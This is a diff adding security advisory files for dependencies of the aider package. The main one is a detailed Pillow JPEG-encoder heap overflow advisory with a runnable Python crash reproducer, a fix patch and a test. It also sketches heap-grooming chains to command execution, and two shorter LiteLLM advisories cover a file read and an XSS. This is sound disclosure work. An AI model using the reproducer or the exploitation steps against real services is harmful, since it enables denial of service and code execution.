Pillow's own docs recommend for auto-rotating user photos, so this can hit normal upload handling code, not just an unusual call.", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g4qv-2jxx-769h" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96643" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10073" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/806e38381c781f32bbd22f4cd026678acd40fd6c" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-CVE-2026-96778.json b/advisories/BREW-aider-CVE-2026-96778.json new file mode 100644 index 00000000000..e0fc14513d4 --- /dev/null +++ b/advisories/BREW-aider-CVE-2026-96778.json @@ -0,0 +1,85 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-CVE-2026-96778", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-g7cr-3p24-7wf7", + "CVE-2026-96778" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.86.1_1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "13.0.0", + "resource": "pillow", + "resource_purl": "pkg:pypi/pillow@12.1.1" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "pillow", + "subject_version": "12.1.1", + "key": "pkg:pypi/pillow@12.1.1", + "resource": "pillow" + } + ] + }, + "summary": "Pillow: Heap buffer overflow writing JPEG comment after ICC profile fills buffer", + "details": "```\n============================================================================\nHeap buffer overflow writing JPEG comment after ICC profile fills buffer\nLocation: src/libImaging/JpegEncode.c:330 in ImagingJpegEncode()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA heap buffer overflow in Pillow's JPEG encoder lets anyone who can supply an image write up to 64 KB of bytes they choose, followed by the rest of the compressed image, past the end of a 64 KB heap buffer. The target is any application that re-saves the image as JPEG while keeping its colour profile. The reliable result is that the Python process is killed outright rather than raising an exception. Because the overwritten memory sits directly in front of function pointers that the encoder calls next, this could allow code execution, though the attached reproducer demonstrates only the crash.\n\nThe bug is in `ImagingJpegEncode()` in `src/libImaging/JpegEncode.c`. State 4 (line 330) calls `jpeg_write_marker()` for the COM comment marker without checking that the output buffer has room. Meanwhile, `JpegImagePlugin._save()` sizes that buffer from the EXIF and ICC/XMP data only and reserves nothing for the comment. When a 65498-byte ICC profile fills the 65536-byte buffer exactly, libjpeg's `emit_byte()` stores one byte past the end and then decrements `free_in_buffer` from 0. The `size_t` counter wraps, so the marker, the comment and the entire compressed image are written out of bounds.\n\nTriggering it takes only a valid JPEG (or PNG) carrying that profile and any comment, passed through `Image.open()` and then `im.save(..., \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))`. That is the documented way to preserve colour. The comment is forwarded from `im.info` automatically, and no non-default setting is involved.\n\nThe attached reproducer re-saves such a file on the stock build, and the process dies with SIGSEGV. An identical file without the comment saves normally. An ASan build of Pillow will not flag this, because the stray writes happen inside the system libjpeg-turbo. Valgrind does report it, as an invalid write immediately after the 65569-byte allocation.\n\nThe unguarded call was introduced in e50ae85ea406 (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0.\n\n## Details\n\n`ImagingJpegEncode()` (`src/libImaging/JpegEncode.c`) is a resumable state machine that fills a caller-supplied output buffer of `bytes` bytes and returns when it is full. State 4 writes the JPEG COM marker with `jpeg_write_marker()` without first checking that the buffer has any room left. When the preceding state 3 — the verbatim copy of the \"extra\" APP segments (ICC profile / XMP) — ends exactly at the last byte of the buffer, `jpeg_write_marker()` is entered with `free_in_buffer == 0`. libjpeg's `emit_byte()` stores the byte first and tests `--free_in_buffer == 0` afterwards, so the `size_t` counter wraps to 2^64-1 instead of triggering the \"buffer full\" path, and the 4-byte marker header, the whole comment, and then (state 5) the DQT/SOF/DHT/SOS headers and the entire entropy-coded image are written linearly past the end of the 65536-byte heap buffer allocated in `src/encode.c`.\n\nA JPEG laid out as\n\n```\nFFD8 SOI\nFFE2 \"ICC_PROFILE\\0\" 01 01 <65498 bytes> -> im.info[\"icc_profile\"]\nFFFE -> im.info[\"comment\"]\n\n```\n\nopened with `Image.open()` and re-saved with the usual colour-profile-preserving call\n\n```python\nim.save(out, \"JPEG\", icc_profile=im.info.get(\"icc_profile\"))\n```\n\nkills the Python process on the stock build at this commit: glibc aborts with `realloc(): invalid next size` / `corrupted size vs. prev_size`, or the process takes SIGSEGV inside `jpeg_write_marker`/`jpeg_write_scanlines`. Stopping at `JpegEncode.c:330` in gdb shows `next_output_byte - buf == 65536`, `free_in_buffer == 0`, `comment_size == 65533` before the call, and `next_output_byte - buf == 131073`, `free_in_buffer == 18446744073709486079` after it — 65537 bytes already written beyond a 65536-byte buffer before a single scanline has been encoded. An ASan build of Pillow does not flag this, because the out-of-bounds stores happen inside the (uninstrumented) system libjpeg-turbo; valgrind does, reporting `Invalid write ... 0 bytes after a block of size 65,569` from `jpeg_write_marker` called at `JpegEncode.c:330` before aborting on the corrupted heap metadata.\n\n### Code path\n\nThe buffer. `JpegImagePlugin._save()` sizes the encoder buffer from the metadata it is about to emit, allowing one spare byte after the extra block and nothing for the comment:\n\n```python\n# src/PIL/JpegImagePlugin.py:859-862\n else:\n # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n # Ensure that our buffer is big enough. Same with the icc_profile block.\n bufsize = max(len(exif) + 5, len(extra) + 1)\n```\n\n`ImageFile._save()` then takes `max(MAXBLOCK, bufsize, width*4)` (`src/PIL/ImageFile.py:662`, `MAXBLOCK = 65536`), and `_encode()` allocates exactly that: `buf = PyBytes_FromStringAndSize(NULL, bufsize)` (`src/encode.c:134`; the real-file path `_encode_to_file()` does `malloc(bufsize)` at `src/encode.c:190`). For the input above `len(extra) == 65516`, so the buffer is 65536 bytes. The `optimize`/`progressive` branch just above (`JpegImagePlugin.py:846-858`) is not immune: its `bufsize` adds `w*h` (or `2*w*h`), but the image dimensions and the ICC length both come from the file, so an exact fit is still constructible there (e.g. with a 19×1 image).\n\nThe \"+1 spare byte\" does not account for what libjpeg itself has already put in the buffer: in state 1 `jpeg_start_compress(&cinfo, TRUE)` (`JpegEncode.c:279`) emits SOI + JFIF APP0, 20 bytes for an RGB source. State 3 then copies the extra block, clamped to the space remaining:\n\n```c\n// src/libImaging/JpegEncode.c:302-337\n case 3:\n if (context->extra) {\n unsigned int n = context->extra_size - context->extra_offset;\n if (n > context->destination.pub.free_in_buffer) {\n n = context->destination.pub.free_in_buffer;\n }\n memcpy(context->destination.pub.next_output_byte, context->extra + context->extra_offset, n);\n context->destination.pub.next_output_byte += n;\n context->destination.pub.free_in_buffer -= n;\n context->extra_offset += n;\n if (context->extra_offset >= context->extra_size) {\n state->state++; // done -> fall into case 4, even with free_in_buffer == 0\n } else {\n break;\n }\n } …\n\n case 4:\n if (context->comment) {\n jpeg_write_marker(&context->cinfo, JPEG_COM,\n (unsigned char *)context->comment, context->comment_size); // :330 — no space check\n }\n state->state++;\n\n case 5:\n if (1024 > context->destination.pub.free_in_buffer) { // passes: free_in_buffer is now ~2^64\n break;\n }\n … jpeg_write_scanlines(…) …\n```\n\nEvery other emitting state is guarded — state 2 requires `rawExifLen + 5 <= free_in_buffer` (`:287`), state 5 requires 1024 free bytes (`:340`), state 6 requires 100 (`:368`). State 4 has no guard at all. The unguarded `jpeg_write_marker()` call was introduced in `e50ae85ea406` (\"Use jpeg_write_marker to write comment\", 2022-12-05) and first shipped in 9.4.0; at 9.3.0 the same input re-saves correctly.\n\nWith 20 header bytes plus 65516 extra bytes the copy consumes the buffer to the byte (`free_in_buffer == 0`) and, because the extra block is complete, control falls straight into state 4. One re-wrapped ICC APP2 segment costs 18 bytes of overhead (`JpegImagePlugin.py:788-806`), hence the 65498-byte profile payload. Pillow's destination manager cannot suspend (`empty_output_buffer()` returns FALSE, `JpegEncode.c:45-48`), which is why a *nearly* full buffer is harmless: with 1..N free bytes the comment write decrements `free_in_buffer` to 0 part-way, libjpeg raises `JERR_CANT_SUSPEND`, and the save fails with `OSError: broken data stream`. Only the exact-fit case skips that check, because libjpeg-turbo's marker writer is\n\n```c\n/* jcmarker.c */\n *(dest->next_output_byte)++ = (JOCTET)val;\n if (--dest->free_in_buffer == 0) { if (!(*dest->empty_output_buffer)(cinfo)) ERREXIT(cinfo, JERR_CANT_SUSPEND); }\n```\n\ni.e. it writes `buf[65536]` first and then wraps the counter. From there nothing limits the stream: the comment (up to 65533 attacker-chosen bytes) is written verbatim, state 5's 1024-byte check passes against the wrapped counter, and `jpeg_write_scanlines()` appends the full compressed image (≈100 KB for a 256×256 noisy source; proportional to the picture for larger ones). If the process survives that, `ImagingJpegEncode()` returns `next_output_byte - buf` (≈167000) as the byte count and `_encode()` calls `_PyBytes_Resize(&buf, 167199)` on the 65536-byte object, which is where glibc usually notices the smashed neighbouring chunk.\n\nAll three ingredients come from the file. `JpegImagePlugin` reassembles APP2 `ICC_PROFILE` chunks into `im.info[\"icc_profile\"]` (`:238-241`) and stores the COM payload in `im.info[\"comment\"]` (`:194`); `_save()` forwards the comment on its own — `comment = info.get(\"comment\", im.info.get(\"comment\"))` (`:808`) — so the application only has to pass the ICC profile through, which is the standard way to keep colours correct when re-encoding (`docs/handbook/image-file-formats.rst:608`). Unlike `exif` and `xmp`, there is no length check on the comment in `_save()`. A PNG source works the same way: its `iCCP` chunk becomes `im.info[\"icc_profile\"]` and a `tEXt` chunk keyed `comment` becomes `im.info[\"comment\"]` (and, being zlib-compressed, the file is only ~60 KB); that variant was also confirmed to crash. `thumbnail()` and `convert()` carry `im.info` along, so the usual `open → thumbnail → convert(\"RGB\") → save(\"JPEG\", icc_profile=…)` handler reaches the same state. `xmp=` and `extra=` feed the same `extra` block (33 bytes of overhead for the XMP APP1) and reach the same state. If the application also forwards EXIF, the exact-fit condition becomes `len(extra) + len(exif) + 4 == 65516`, both lengths again taken from the file. The comment length is irrelevant to triggering: a 17-byte `\"Created with GIMP\"` comment crashes the stock build just as reliably (SIGSEGV in `jpeg_write_scanlines`), it only changes how many of the out-of-bounds bytes are chosen verbatim by the attacker.\n\n### What lies behind the buffer\n\nThe buffer is `PyBytes_FromStringAndSize(NULL, 65536)` = `malloc(65569)`, a 0x10030-byte glibc chunk, so `buf[65536]` is the first byte of the next chunk's header. In the same `encode()` call, right after that allocation, `jpeg_start_compress()` `malloc`s libjpeg's PERMANENT pool (chunk 0xa40) and IMAGE pool (chunk 0x3f00); on a groomed or fresh heap these sit directly behind the buffer. The next thing `ImagingJpegEncode()` does after the COM write (`JpegEncode.c:352`; the state-5 room check passes because `free_in_buffer` has wrapped) is call `jpeg_write_scanlines()`, which dispatches through the method tables in that IMAGE pool before any allocator call touches the heap. In the SIGSEGV layout observed on the stock build the fault is at `jpeg_write_scanlines+133: call *0x8(%rax)` with `%rax` pointing just past the end of the buffer at memory now holding comment bytes — an indirect call through a function pointer (`cinfo->main->process_data`) read from bytes the file supplied.\n\n## Impact\n\nAny service that accepts JPEG uploads and re-encodes them as JPEG while preserving the embedded ICC profile (`icc_profile=im.info.get(\"icc_profile\")` — thumbnailers, CMS and e-commerce image pipelines, Django/Flask upload handlers) can be made to perform a linear heap overwrite starting immediately after a 65536-byte buffer: 4 marker bytes, then up to 65533 bytes taken verbatim from the file's COM segment, then tens to hundreds of kilobytes of compressed image data. No non-default Pillow setting is involved and the file is an otherwise valid 140–210 KB JPEG that decodes normally. The dependable outcome is termination of the worker process by SIGSEGV or a glibc heap-consistency abort (not a Python exception), i.e. denial of service of everything that process serves.\n\nIt does not stop at a crash. Both the length and the content of the first 64 KB written out of bounds are attacker-chosen, the victim buffer is an ordinary `malloc` chunk, and what `jpeg_start_compress()` allocates directly behind it — libjpeg's PERMANENT and IMAGE pools, including the method pointers `jpeg_write_scanlines()` calls through immediately afterwards — is predictable. Against a long-lived stdlib-`http.server` worker running exactly the handler above (stock `/src` build, CPython 3.12 / glibc 2.36 / libjpeg62-turbo 2.1.5, ASLR/PIE/NX on, default Pillow settings, worker as root, attacker as uid 65534 given only the service address), this overflow was driven to shell command execution by the worker in two independent ways once library base addresses were known: (a) a JPEG with ~2400 APPn spray segments (heap grooming), the 65498-byte ICC profile and a 3020-byte COM whose bytes re-image the two libjpeg pools so that the real `grayscale_convert()` copies a chosen 384-byte scanline over `_PyRuntime`, setting `allocators.obj_arena.free = system` with `ctx` = the command — the request returns 200, the worker keeps serving, and the next pymalloc arena release runs the command (14/14 and 15/15 runs on fresh workers); (b) a 28-byte COM that rewrites the `size`/`next` of a groomed free tcache chunk sitting right behind the buffer so that Pillow's own `malloc(comment_size)` in the next JPEG save (`src/encode.c:1250`) returns `_imaging.so`'s writable `.got.plt`, the comment replaces `free` with `system`, and the encoder's cleanup `free(context->comment)` at `JpegEncode.c:376` runs the command (14/14, deterministic once groomed). The address knowledge came from separate memory-disclosure bugs in Pillow's TIFF paths that return library pointers in output pixels/tags; those are independent defects with their own fixes, but any such disclosure — present or future — is enough, and this overflow is the only memory *write* either chain needs. Fixing it reduces those leaks to disclosures rather than footholds.\n\n## Reproducing\n\n`repro` is a single Python script. It uses the Pillow already built in `/src` and needs no rebuild. Run it as `./repro`. The last line of output is `BUG` or `OK`.\n\nThe script builds a valid 256×256 baseline JPEG from deterministic noise, so the compressed image data comes to about 100 KB. Right after SOI it adds an APP2 `ICC_PROFILE` segment (sequence 1 of 1) with a payload of `65536 - 20 - 18 = 65498` bytes. When Pillow re-encodes the image, libjpeg first writes 20 bytes of SOI and JFIF APP0, and then Pillow copies the re-wrapped ICC segment: 18 bytes of header plus the payload. Together those fill the 65536-byte encoder buffer to the last byte. The constants at the top of the script spell out this arithmetic.\n\nEach file goes through the same application code in a child `python3 -X faulthandler` process:\n\n```python\nim = Image.open(BytesIO(data))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n```\n\n1. **Control.** The file has the ICC profile but no COM segment. The save returns normally with exit status 0, which shows that the exact-fit ICC profile alone is harmless.\n2. **PoC.** This is the same file plus a COM segment of 65533 `C` bytes. `JpegImagePlugin._save()` forwards `im.info[\"comment\"]` automatically. Case 4 of `ImagingJpegEncode()` writes the COM marker into the full buffer, the `free_in_buffer` counter wraps, and the comment and the entire compressed image are written past the end of the heap buffer.\n\nExpected output: the control prints `save returned normally` and `-> exit status 0`. For the PoC, faulthandler prints `Fatal Python error: Segmentation fault` (sometimes a glibc message such as `realloc(): invalid next size` followed by `Aborted`). The Python stack ends in `ImageFile._encode_tile` called from `im.save`, then `-> exit status -11` (or `-6`), and finally `BUG`. The verdict is `BUG` only if the PoC child was killed by a signal. A normal return or a Python exception such as `OSError` gives `OK`.\n\n## Suggested fix\n\nThe attached patch guards state 4 the way state 2 guards the EXIF marker: before calling `jpeg_write_marker()` it requires room for the 4-byte marker header plus the comment plus libjpeg's one-byte slack (`emit_byte` must never bring `free_in_buffer` to 0 with a non-suspending destination), and otherwise returns to the caller for a fresh buffer:\n\n```diff\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@\n case 4:\n \n if (context->comment) {\n+ // check for comment len + 'COM' header bytes\n+ if (context->comment_size + 5 >\n+ context->destination.pub.free_in_buffer) {\n+ break;\n+ }\n jpeg_write_marker(\n```\n\nThe encoder then returns with the buffer full, `_encode_tile()` calls it again with an empty buffer, and the comment is emitted there. The C hunk is not sufficient on its own: state 4, like state 2, relies on the Python side guaranteeing that an *empty* buffer is always large enough, and a 65533-byte comment needs 65538 bytes against a 65536-byte `MAXBLOCK` buffer — with only the C guard the encoder returns 0 bytes and no error forever and `_encode_tile()` spins. The patch therefore also changes `JpegImagePlugin._save()` to reserve `len(comment) + 5` in both sizing branches (added to `bufsize` in the `optimize`/`progressive` branch, and as a third term of the `max()` in the plain branch), and normalises the comment to `bytes` first (`str` is UTF-8-encoded, `None` becomes `b\"\"`) so the length is exact for non-ASCII `str` comments; `encode.c` already UTF-8-encodes `str` via `z#`, so the bytes written are unchanged. A side effect visible to users: comments of up to 65533 bytes now save successfully in cases that previously raised `OSError: broken data stream` because the default buffer was too small. The patch adds `test_icc_big_comment` to `Tests/test_file_jpeg.py`, which round-trips a 65533-byte comment with ICC profiles sized around the exact-fit boundary; it crashes (or raises `OSError`) on the unpatched tree and passes with the patch. With the patch applied to a clean tree and rebuilt, the reproducer no longer triggers, and `Tests/test_file_jpeg.py` and `Tests/test_file_mpo.py` pass.\n\nThe C guard still depends on the Python sizing to avoid a 0-byte/no-error busy loop, exactly as state 2 already does. A more defensive variant would fail with `IMAGING_CODEC_MEMORY` instead of `break` when the marker does not fit and nothing has been written to the current buffer yet (`next_output_byte == buf`), so that a sizing mistake in any caller can never turn into a busy loop. It would also be consistent with `exif`/`xmp` handling for `_save()` to reject comments longer than `MAX_BYTES_IN_MARKER` (65533) with `ValueError(\"Comment is too long\")` rather than leaving it to libjpeg's `JERR_BAD_LENGTH` → `OSError`.\n\nIndependently, the \"+ 1 spare byte\" / \"+ 5\" reasoning in `_save()` under-counts by the 18–20 bytes `jpeg_start_compress()` writes before the EXIF/extra blocks; that is what lets attacker-sized metadata land the buffer on an exact boundary in the first place. The attached patch does not change that accounting.\n\n## The patch\n\nCheck free output-buffer space before writing the JPEG COM marker in ImagingJpegEncode, and size the encoder buffer for the comment in JpegImagePlugin._save\n\nApplies to `src/libImaging/JpegEncode.c` at the commit above.\n\n```diff\ndiff --git a/Tests/test_file_jpeg.py b/Tests/test_file_jpeg.py\nindex b361aef2e..f884883c4 100644\n--- a/Tests/test_file_jpeg.py\n+++ b/Tests/test_file_jpeg.py\n@@ -227,6 +227,16 @@ class TestFileJpeg:\n im1 = self.roundtrip(hopper(), icc_profile=icc_profile)\n assert im1.info.get(\"icc_profile\") == (icc_profile or None)\n \n+ def test_icc_big_comment(self) -> None:\n+ # The ICC profile may fill the encoder buffer exactly, in which case the\n+ # comment has to be written to the next buffer\n+ comment = b\"C\" * 65533\n+ for n in range(ImageFile.MAXBLOCK - 40, ImageFile.MAXBLOCK - 30):\n+ icc_profile = b\"I\" * n\n+ im = self.roundtrip(hopper(), icc_profile=icc_profile, comment=comment)\n+ assert im.info[\"icc_profile\"] == icc_profile\n+ assert im.info[\"comment\"] == comment\n+\n def test_large_icc_meta(self, tmp_path: Path) -> None:\n # https://github.com/python-pillow/Pillow/issues/148\n # Sometimes the meta data on the icc_profile block is bigger than\ndiff --git a/src/PIL/JpegImagePlugin.py b/src/PIL/JpegImagePlugin.py\nindex 4b8d34ca3..1d9f4c2fa 100644\n--- a/src/PIL/JpegImagePlugin.py\n+++ b/src/PIL/JpegImagePlugin.py\n@@ -805,7 +805,9 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n )\n i += 1\n \n- comment = info.get(\"comment\", im.info.get(\"comment\"))\n+ comment = info.get(\"comment\", im.info.get(\"comment\")) or b\"\"\n+ if isinstance(comment, str):\n+ comment = comment.encode()\n \n # \"progressive\" is the official name, but older documentation\n # says \"progression\"\n@@ -856,10 +858,13 @@ def _save(im: Image.Image, fp: IO[bytes], filename: str | bytes) -> None:\n bufsize += len(exif) + 5\n if extra:\n bufsize += len(extra) + 1\n+ if comment:\n+ bufsize += len(comment) + 5\n else:\n # The EXIF info needs to be written as one block, + APP1, + one spare byte.\n- # Ensure that our buffer is big enough. Same with the icc_profile block.\n- bufsize = max(len(exif) + 5, len(extra) + 1)\n+ # Ensure that our buffer is big enough. Same with the icc_profile block\n+ # and the comment (COM marker).\n+ bufsize = max(len(exif) + 5, len(extra) + 1, len(comment) + 5)\n \n ImageFile._save(\n im, fp, [ImageFile._Tile(\"jpeg\", (0, 0, *im.size), 0, rawmode)], bufsize\ndiff --git a/src/libImaging/JpegEncode.c b/src/libImaging/JpegEncode.c\nindex 098e431fc..b6771c6ec 100644\n--- a/src/libImaging/JpegEncode.c\n+++ b/src/libImaging/JpegEncode.c\n@@ -327,6 +327,11 @@ ImagingJpegEncode(Imaging im, ImagingCodecState state, UINT8 *buf, int bytes) {\n case 4:\n \n if (context->comment) {\n+ // check for comment len + 'COM' header bytes\n+ if (context->comment_size + 5 >\n+ context->destination.pub.free_in_buffer) {\n+ break;\n+ }\n jpeg_write_marker(\n &context->cinfo,\n JPEG_COM,\n```\n\n## The reproducer\n\n
\nReproducer — repro, 3,343 bytes (click to open)\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# Pillow heap buffer overflow in ImagingJpegEncode() (src/libImaging/JpegEncode.c, case 4).\n#\n# Re-saving a JPEG with its own ICC profile, the usual \"keep the colours\" re-encode:\n# im = Image.open(f); im.save(out, \"JPEG\", icc_profile=im.info[\"icc_profile\"])\n# If the ICC segment fills the 65536-byte encoder buffer to the last byte, the COM\n# marker (forwarded from im.info[\"comment\"] automatically) is written with\n# free_in_buffer == 0. libjpeg stores the byte, then decrements the counter, which\n# wraps to ~2^64, and the comment plus the whole compressed image go past the end\n# of the heap buffer. The Python process dies with SIGSEGV or a glibc abort.\n#\n# Runs against the stock build in /src, no rebuild. Takes about 2 seconds.\nimport random\nimport struct\nimport subprocess\nimport sys\nfrom io import BytesIO\n\nfrom PIL import Image\n\n# Output-buffer layout at the moment the COM marker is written:\nENCODER_BUFFER = 65536 # ImageFile.MAXBLOCK; _save() never makes it bigger here\nJFIF_HEADER = 20 # SOI + JFIF APP0, written by jpeg_start_compress()\nICC_OVERHEAD = 18 # FFE2 \"ICC_PROFILE\\0\" \nICC_PAYLOAD = ENCODER_BUFFER - JFIF_HEADER - ICC_OVERHEAD # 65498: exact fit\nCOMMENT = b\"C\" * 65533 # largest legal COM; content and length chosen by the file\n\n# What the victim application does with an uploaded file, run in a child process\n# so that we can see it die.\nRESAVE = \"\"\"\nimport sys\nfrom io import BytesIO\nfrom PIL import Image\nim = Image.open(BytesIO(sys.stdin.buffer.read()))\nim.save(BytesIO(), \"JPEG\", icc_profile=im.info[\"icc_profile\"])\nprint(\"save returned normally\")\n\"\"\"\n\n\ndef segment(marker, payload):\n return bytes([0xFF, marker]) + struct.pack(\">H\", len(payload) + 2) + payload\n\n\ndef make_jpeg(with_comment):\n \"\"\"A valid 256x256 JPEG: an ICC profile of ICC_PAYLOAD bytes, optionally a COM.\"\"\"\n noise = random.Random(1234).randbytes(256 * 256 * 3) # ~100 KB of image data\n out = BytesIO()\n Image.frombytes(\"RGB\", (256, 256), noise).save(out, \"JPEG\", quality=95)\n plain = out.getvalue()\n\n icc = segment(0xE2, b\"ICC_PROFILE\\0\\x01\\x01\" + b\"I\" * ICC_PAYLOAD)\n com = segment(0xFE, COMMENT) if with_comment else b\"\"\n return plain[:2] + icc + com + plain[2:] # splice in right after SOI\n\n\ndef resave(jpeg):\n # -X faulthandler: on a fatal signal, print where in Python the child died\n cmd = [sys.executable, \"-X\", \"faulthandler\", \"-c\", RESAVE]\n r = subprocess.run(cmd, input=jpeg, capture_output=True)\n print((r.stdout + r.stderr).decode(errors=\"replace\").strip())\n print(f\"-> exit status {r.returncode}\")\n return r.returncode\n\n\n# Control: the same file without a COM segment re-saves fine, so the buffer\n# sizing and the ICC profile on their own are harmless.\nprint(\"Control: re-save the JPEG without a comment\")\nresave(make_jpeg(with_comment=False))\n\n# The bug: add a COM segment. The comment is now written into a buffer that has\n# no room left.\nprint(f\"\\nPoC: re-save the JPEG with a {len(COMMENT)}-byte comment\")\nrc = resave(make_jpeg(with_comment=True))\n\n# A negative return code means the child was killed by a signal (SIGSEGV or\n# SIGABRT from glibc's heap checks), not by a Python exception.\nif rc < 0:\n print(f\"\\nim.save() killed the process with signal {-rc}: out-of-bounds heap write\")\n print(\"BUG\")\nelse:\n print(\"OK\")\n```\n
\n\n---", + "severity": [ + { + "type": "CVSS_V4", + "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-g7cr-3p24-7wf7" + }, + { + "type": "ADVISORY", + "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-96778" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/pull/10124" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/commit/02561b8dc6117d5670d4b469fecdd02c70854f9b" + }, + { + "type": "PACKAGE", + "url": "https://github.com/python-pillow/Pillow" + }, + { + "type": "WEB", + "url": "https://github.com/python-pillow/Pillow/releases/tag/13.0.0" + } + ] +} diff --git a/advisories/BREW-aider-GHSA-g5ff-637f-6q2m.json b/advisories/BREW-aider-GHSA-g5ff-637f-6q2m.json new file mode 100644 index 00000000000..7c0eb607fc4 --- /dev/null +++ b/advisories/BREW-aider-GHSA-g5ff-637f-6q2m.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-GHSA-g5ff-637f-6q2m", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-g5ff-637f-6q2m" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.47.1" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "1.95.0", + "resource": "litellm", + "resource_purl": "pkg:pypi/litellm@1.81.10" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "litellm", + "subject_version": "1.81.10", + "key": "pkg:pypi/litellm@1.81.10", + "resource": "litellm" + } + ] + }, + "summary": "LiteLLM: internal_user_viewer arbitrary local file read via `vertex_ai_credentials`", + "details": "## Summary\n\nAn authenticated LiteLLM proxy user could read arbitrary local files from the proxy runtime by sending a crafted `vertex_ai_credentials` value to `/utils/transform_request`. The request-body safety blocklist rejected `vertex_credentials` but missed its alias `vertex_ai_credentials`, which let the value reach the Vertex AI credential loader and trigger a file read that is sent to an attacker-controlled URL.\n\n## Impact\n\nA low-privilege authenticated user (only `internal_user_viewer`, obtainable through SSO login on many deployments) could read any file readable by the LiteLLM process. Reading files such as `/proc/self/environ` can disclose `LITELLM_MASTER_KEY` and provider API keys, so the impact can escalate to full proxy-admin control.\n\n## Remediation\n\nUpgrade to `1.95.0` or later. The fix adds the missing alias to the request-body blocklist, so no configuration change is needed once you upgrade. There is no reliable configuration workaround on affected versions.", + "severity": [ + { + "type": "CVSS_V3", + "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N" + } + ], + "references": [ + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/security/advisories/GHSA-g5ff-637f-6q2m" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/pull/34189" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/commit/065faf6e695be64a1a367601271839914e4a6621" + }, + { + "type": "PACKAGE", + "url": "https://github.com/BerriAI/litellm" + }, + { + "type": "WEB", + "url": "https://github.com/BerriAI/litellm/releases/tag/v1.95.0" + } + ] +} diff --git a/advisories/BREW-aider-GHSA-hhww-mrg2-969h.json b/advisories/BREW-aider-GHSA-hhww-mrg2-969h.json new file mode 100644 index 00000000000..74e0740e6aa --- /dev/null +++ b/advisories/BREW-aider-GHSA-hhww-mrg2-969h.json @@ -0,0 +1,80 @@ +{ + "schema_version": "1.7.3", + "id": "BREW-aider-GHSA-hhww-mrg2-969h", + "published": "2026-10-27T19:19:30Z", + "modified": "2026-10-27T19:19:30Z", + "upstream": [ + "GHSA-hhww-mrg2-969h" + ], + "affected": [ + { + "package": { + "ecosystem": "Homebrew", + "name": "aider", + "purl": "pkg:brew/aider" + }, + "ranges": [ + { + "type": "ECOSYSTEM", + "events": [ + { + "introduced": "0.82.0" + } + ] + } + ], + "ecosystem_specific": { + "fix": null, + "range_state": "affected", + "upstream_fixed_in": "1.85.0", + "resource": "litellm", + "resource_purl": "pkg:pypi/litellm@1.81.10" + } + } + ], + "database_specific": { + "source": "matched", + "strategy": "registry", + "confidence": "high", + "upstream_evidence": [ + { + "strategy": "registry", + "ecosystem": "PyPI", + "name": "litellm", + "subject_version": "1.81.10", + "key": "pkg:pypi/litellm@1.81.10", + "resource": "litellm" + } + ] + }, + "summary": "LiteLLM vulnerable to reflected XSS in /sso/debug/callback", + "details": "### Summary\n\nThe `/sso/debug/callback` endpoint reflected identity-provider-controlled fields into an inline ``. An IdP-returned string field containing `` (for example a user-editable display name) closed the script block and executed attacker JavaScript in the proxy's origin.\n\n### Impact\n\nReflected XSS on the LiteLLM proxy origin. The route required no authentication, so an attacker with an account on the configured IdP whose claims pass such strings through verbatim could complete the SSO flow themselves and deliver the resulting callback URL to a logged-in proxy admin. Scripts executing in the proxy origin can read the dashboard session cookie and act with the victim's privileges, up to full admin account takeover.", + 